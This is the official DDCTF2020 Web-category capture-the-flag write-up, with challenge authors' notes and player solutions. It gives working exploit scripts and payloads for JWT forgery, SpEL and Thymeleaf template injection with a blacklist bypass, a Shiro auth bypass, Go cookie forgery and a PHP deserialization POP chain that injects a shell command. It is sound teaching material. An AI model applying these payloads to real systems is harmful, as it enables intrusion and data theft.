DDCTF2020官方Write Up——Web篇

  • A+
所属分类:逆向工程

目录

 0x01 :Web签到题

 0x02:卡片商店 

 0x03 :Easy We

 0x04 :Overwrite Me

   出题人现身说法,带来官方解读

01

Web签到题

团队昵称:昨天看见几个搞安全的在跑滴滴

一血用时:1小时01分

------------------------

出题

DDCTF2020官方Write Up——Web篇

刘凯文

滴滴出行安全工程师

出题人视角

签到题定位依旧是相对基础、简单的,题目利用链路为jwt错误使用、golang二进制获取密钥、java SpEL表达式注入,密钥可以通过逆向、暴力猜解获取或patch修改command做利用。题目中有多个限制但相对应在代码中有做难度调整的热更新的能力,只是一血师傅太快,为了公平没有调整题目难度而是在/hint目录中放置多个隐藏hint。

-----选手Write Up-----

访问 http://117.51.136.197/hint/1.txt 得到使用说明,

curl http://117.51.136.197/admin/login -d 'username=1&pwd=1' -vv

拿到 token

{"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTQ2OTA0Mn0.fONrD0R3NLTybq2WEP5V7uWTBI_0T0E5utI3MZFngMU"}

明显的 jwt,需要用这个来作为 token 来访问 auth,但是直接使用得到 token 提示 need ADMIN permission. 对其内容进行解码,得到

{
  "userName""1",
  "pwd""1",
  "userRole""GUEST",
  "exp"1599469042
}


很显然我们需要修改 userRole 为 ADMIN,这里根据 1.txt 中的 [-][Safet Reminder]The Private key cannot use request parameter,可以猜出 jwt 的 secret 实际上就是 login 时候用到的 pwd,比如这里我 login 用的 pwd 是 1,那么这个 jwt 的 secret 就是 1,直接在 https://jwt.io/ 上伪造一个就行了(当然如果用的比较弱的密码,直接用 https://github.com/brendan-rius/c-jwt-cracker 爆破也能出来)。会返回一个 client 下载地址
http://117.51.136.197/B5Itb8dFDaSFWZZo/client,

这里需要逆向一下,得到签名算法用的是 hmac,散列用的是 sha256,key 是 DDCTFWithYou,

DDCTF2020官方Write Up——Web篇

根据参数名 command 进行 fuzz,比如

'a''a'           => shell
'a'.length       => js
len('a')         => python
'a'.charAt(0)    => java

观察到 'a'.charAt(0) 是正常返回的,而且输入一个 {} 会返回 [],可以基本确认是 spel,直接命令执行似乎不行,于是根据client 里面提示给的 flag 位置直接读 flag 即可

import time
import hmac
import base64
import requests

cmd = "{'a': T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))}"
ts = int(time.time())

sign = base64.b64encode(hmac.new(b'DDCTFWithYou',msg=f"{cmd}|{ts}".encode(), digestmod='sha256').digest())

res = requests.post('http://117.51.136.197/server/command', json={
    'signature': sign.decode(),
    'command': cmd,
    'timestamp': ts
})

print(res.text)


02

卡片商店

团队昵称:Venom  

一血用时:28分钟


出题人

DDCTF2020官方Write Up——Web篇

林锋

滴滴出行安全工程师

出题人视角

卡片商店题目整体而言比较简单,在了解题意之后,首先通过利用Golang的uint32整数溢出漏洞获取到Seckey,根据提示可以得知flag和Cookie有关,在粗略的分析Cookie的特征后,可以了解到是一个gorilla的securecookie,

其结构为

base64encode(date|base64urlencode(gob)|hmac),可以看出是Gin框架,而获取flag的关键则是cookie中的admin字段,所以下一步就是简易搭建Gin的Web应用,修改admin的false为true,并将生成的cookie提交到/flag接口即可拿到flag。

-----选手Write Up-----

看这session 是go了


go有的常见的是整形溢出,将借的卡和还的卡放入session里面,处理完应该是还的卡溢出值变小

http://116.85.37.131/11b67e5088cef9b1c97bd5a30eb3b760/loans?loans=4294967296

借2**32 就是4294967296 ,然后只要还 2 ,等到时间到还卡,就可以买到gift了


得到 secretkey [email protected]和 flag路径,然后就是 go sesion 伪造有现成的工具

 https://github.com/EddieIvan01/secure-cookie-faker secure-cookie-faker

 ./secure-cookie-faker dec -c "MTU5OTY1MzE3MnxEdi1CQkFFQ180SUFBUkFCRUFBQV81Yl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ERjhBWFhzaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZiblZzYkN3aWJXOXVaWGtpT2pReU9UUTVOamN6TURFc0ltNXZkMTkwYVcxbElqb3hOVGs1TlRNd016UTFMQ0p6ZEdGeWRGOTBhVzFsSWpveE5UazVOVE13TVRZMWZRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0RVltOXZiQUlDQUFBPXwyQ0CKU2Neib-drMBjjPA12WZIsL03yy53R63uik7bUA==" 
map[admin:false wallet:{"owings":[],"invests":null,"money":4294967301,"now_time":1599530345,"start_time":1599530165}]
type detail: 
{
    wallet[string]: {"owings":[],"invests":null,"money":4294967301,"now_time":1599530345,"start_time":1599530165}[string],
    admin[string]: false[bool],
}


session 原本解出来是一大窜的,发现 有个 admin:false 所以直接伪造一个 admin:true 把其他东西去掉,发现可以,名字是 session -n "session"

./secure-cookie-faker enc -n "session" -k "[email protected]" -o "{admin:true[bool]}"

得到

MTU5OTE5NzYzOHxFXy1CQkFFQkEwOWlhZ0hfZ2dBQkVBRVFBQUFkXzRJQUFRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0RVltOXZiQUlDQUFFPXzFLyQG7JDNJvz48NLachsMs_KzbiRrC00MouKotDCITw==

伪造session 访问flag

得到flag

{"flag":"DDCTF{G0G0g0GoGo0GoGo2333!}n"}



03

Easy We

团队昵称:温柔吗?用命换来的

一血用时:8小时36分


出题人

DDCTF2020官方Write Up——Web篇

林锋

滴滴出行安全工程师

出题人视角

Easy Web这道题设计的比较常规,思路也很清晰,登陆接口Shiro组件的识别、CVE-2020-11989 Shiro权限绕过漏洞的利用、任意文件下载、Java代码审计、管理后台的thymeleaf模板注入、常见的Java危险方法的黑名单绕过到最终的获取flag。其中关键部分的Java代码均可从web.xml入口开始一步一步获取到,包括com.ctf.auth.FilterChainDefinitionMapBuilder中的管理后台的地址、com.ctf.util.SafeFilter中的黑名单等。而后面的thymeleaf模板注入的黑名单bypass,可以利用T(Character).toString()绕过引号、java.net.URLClassLoader去动态加载远程的jar文件来达到任意代码执行的效果,因为服务器做了一些安全限制,大部分命令无法执行,所以这里可以使用java的列目录、读文件函数获取/flag_is_here 里面的flag。

-----选手Write Up-----

题目链接:

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/index


打开会跳转到登录

DDCTF2020官方Write Up——Web篇


抓包发现有rememberMe=deleteMe,后端使用了Shiro组件


DDCTF2020官方Write Up——Web篇

CVE-2020-11989 Shiro权限绕过

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/index

DDCTF2020官方Write Up——Web篇


网页源码中有一个文件下载接口

<img src="./img?img=static/hello.jpg" alt="DDCTF2020官方Write Up——Web篇">

然后此时的思路就是读配置文件、class文件,审计,找洞


WEB项目首先是WEB-INF/web.xml

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/img?img=WEB-INF/web.xml

DDCTF2020官方Write Up——Web篇

继续读Spring的配置文件,这里classpath是指WEB-INF下的classes目录

spring-web.xml

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/img?img=WEB-INF/classes/spring-web.xml

DDCTF2020官方Write Up——Web篇

得到部分包名

spring-core.xml

DDCTF2020官方Write Up——Web篇

其实看到有个模板引擎thymeleaf就猜到后面可能要考Java的模板注入

spring-shiro.xml 

DDCTF2020官方Write Up——Web篇

读class文件

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/img?img=WEB-INF/classes/com/ctf/auth/ShiroRealm.class

DDCTF2020官方Write Up——Web篇

反编译后根据Java代码中的import的类和类命名规则去读取了其他class,直到WEB-INF/classes/com/ctf/controller/AuthController.class


直接利用Shiro权限绕过漏洞访问

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index

DDCTF2020官方Write Up——Web篇


没错就是考察的thymeleaf模板注入,不过这里貌似有黑名单,简单测试了一下,不能出现引号,也就是说字符串要另外想办法构造,不能出现某些类名,不能出现某些方法的关键字,比如File类中的readXxx方法,反射中的invoke方法,Runtime的exec方法等

(当时做题的时候并没有直接读该处的源码,所以都是在Fuzz和盲测)


最后的解决方法是字符串通过字符拼接来构造

<input th:value=${T(com.ctf.model.User).getName()[3].replace(46,108)+T(com.ctf.model.User).getName()[3].replace(46,51)+T(com.ctf.model.User).getName()[3].replace(46,121)+T(com.ctf.model.User).getName()[3].replace(46,120)}>

防止类名被ban,使用getClassLoader的loadClass动态加载所需类

<input th:value=${T(com.ctf.model.User).getClassLoader().loadClass(类名字符串)}>

使用Files类的list和lines方法列举和读取文件,使用toArray() 和 Arrays.toString() 把内容流转换为字符串输出

Arrays.toString( java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray() );
Arrays.toString( java.nio.file.Files.lines(java.nio.file.Paths.get("/etc/passwd")).toArray() );


最后POC如下

import requests
import urllib.parse
import re

headers = {
    "Content-Type""application/x-www-form-urlencoded",
}

def submit(payload):
    print("[+] submit...")
    url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize"
    data = "content="+urllib.parse.quote_plus(payload)

    res = requests.post(url = url,headers = headers,data = data)
    if re.search("Success! Please fetch .(.*)? !",res.text) is None:
        print(res.text)
        exit()
    else:
        return re.search("Success! Please fetch .(.*)? !",res.text).group(1)

def getResult(url):
    print("[+] getResult...")
    url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url

    res = requests.get(url,headers=headers)
    return res.text

def getString(string):
    strc=""
    for i in string:
        strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+".format(str(ord(i)))
    return strc[:-1]

def getClass(className):
    return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")"

poc = "${"+getClass("java.util.Arrays")+".toString("+    getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/")+")).toArray()"     +")}"
poc = "<input th:value="+poc+">"
print(getResult(submit(poc)))

poc = "${"+getClass("java.util.Arrays")+".toString("+    getClass("java.nio.file.Files")+".lines("+getClass("java.nio.file.Paths")+".get("+getString("/flag_is_here")+")).toArray()"     +")}"
poc = "<input th:value="+poc+">"
print(getResult(submit(poc)))


DDCTF2020官方Write Up——Web篇


比赛结束后我又尝试了绕过限制去getShell成功


DDCTF2020官方Write Up——Web篇

POC:

import requests
import urllib.parse
import re


headers = {
    "Content-Type""application/x-www-form-urlencoded",
}


def submit(payload):
    print("[+] submit...")
    url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize"
    data = "content="+urllib.parse.quote_plus(payload)


    res = requests.post(url = url,headers = headers,data = data)
    if re.search("Success! Please fetch .(.*)? !",res.text) is None:
        print(res.text)
        exit()
    else:
        return re.search("Success! Please fetch .(.*)? !",res.text).group(1)


def getResult(url):
    print("[+] getResult...")
    url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url


    res = requests.get(url,headers=headers)
    return res.text


def getString(string):
    strc=""
    for i in string:
        strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+".format(str(ord(i)))
    return strc[:-1]


def getClass(className):
    return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")"


def getResultWithParameter(url,parameter):
    print("[+] getResult...")
    url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef"+url+parameter


    res = requests.get(url,headers=headers)
    return res.text




poc = "[[${"+getClass("java.lang.ProcessBuilder")+".getConstructors()[1].newInstance(#request.getParameterValues("+getString("cmd")+")).start()}]]"
print(getResultWithParameter(submit(poc),"?cmd=/bin/bash&cmd=-c&cmd=echo success> /tmp/leixiao"))

poc = "${"+getClass("java.util.Arrays")+".toString("+    getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/tmp")+")).toArray()"     +")}"
poc = "<input th:value="+poc+">"
print(getResult(submit(poc))

poc = "${"+getClass("java.util.Arrays")+".toString("+    getClass("java.nio.file.Files")+".lines("+getClass("java.nio.file.Paths")+".get("+getString("/tmp/leixiao")+")).toArray()"     +")}"
poc = "<input th:value="+poc+">"
print(getResult(submit(poc)))


04

Overwrite Me

团队昵称:虐惨惨

一血用时:1小时52分


出题人

DDCTF2020官方Write Up——Web篇

蒋鹏

滴滴出行资深安全工程师

出题人视角

Overwrite Me一题代码提示非常清楚,主要考察如何利用PHP反序列化进行变量覆盖,知识点包括POP链构造及GMP反序列化类型混淆等,希望选手能在比赛中了解到一些有趣的冷知识。

-----选手Write Up-----

他给了如下几个类

class MyClass
{
   var $kw0ng;
   var $flag;

   public function __wakeup()
  
{
       $this->kw0ng = 1;
  }

   public function get_flag()
  
{
       return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
  }
}

class Prompter
{   
   protected  $hint;
   public function execute($value)
  
{
       include($value);
  }

   public function __invoke()
  
{
       if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|..|.//i"$this->hint))
      {
           die("Don't Do That!");
      }
       $this->execute($this->hint);
  }
}

class Display
{
   public $contents;
   public $page;
   public function __construct($file='/hint/hint.php')
  
{
       $this->contents = $file;
       echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
  }
   public function __toString()
  
{
       return $this->contents();
  }

   public function __wakeup()
  
{
       $this->page->contents = "POP me! I can give you some hints!";
       unset($this->page->cont);
  }
}

class Repeater
{
   private $cont;
   public $content;
   public function __construct()
  
{
       $this->content = array();
  }

   public function __unset($key)
  
{
       $func = $this->content;
       return $func();
  }
}

class Info
{
   function __construct()
  
{
       eval('phpinfo();');
  }

}

我们可以使用如下调用链

DDCTF2020官方Write Up——Web篇

构造好exp

<?php
// error_reporting(0);

class MyClass
{
   var $kw0ng;
   var $flag;

   public function __wakeup()
  
{
       // var_dump($this)
       // echo "132"
       $this->kw0ng = 1;
       // unset($this->kw0ng);
  }

   public function get_flag()
  
{

       echo 'find /FlagNeverFall ' . escapeshellcmd($this->flag)."n";
       return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
  }
}

class Prompter
{   
   protected  $hint;
   public function execute($value)
  
{
       include($value);
  }

   public function __invoke()
  
{
       if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|..|.//i"$this->hint))
      {
           die("Don't Do That!");
      }
       $this->execute($this->hint);
  }
}

class Display
{
   public $contents;
   public $page;
   public function __construct($file='/hint/hint.php')
  
{
       $this->contents = $file;
       // echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
  }
   public function __toString()
  
{
       return $this->contents();
  }

   public function __wakeup()
  
{

       $this->page->contents = "POP me! I can give you some hints!";
       unset($this->page->cont);
  }
}

class Repeater
{
   private $cont;
   public $content;
   public function __construct()
  
{
       $this->content = array();
  }

   public function __unset($key)
  
{
       $func = $this->content;
       return $func();
  }
}

class Info
{
   function __construct()
  
{
       eval('phpinfo();');
  }

}

$a = new Display();
$b = new Repeater();
$c = new Repeater();
$d = new MyClass();

$d->flag = "/etc/passwd -iname flag -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";

$c->content = [$d,"get_flag"];


$a->page = $c;

echo urlencode(serialize($a))."n";


-----Reverse方向Write Up请查看下一篇-----

本文始发于微信公众号(滴滴安全应急响应中心):DDCTF2020官方Write Up——Web篇

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: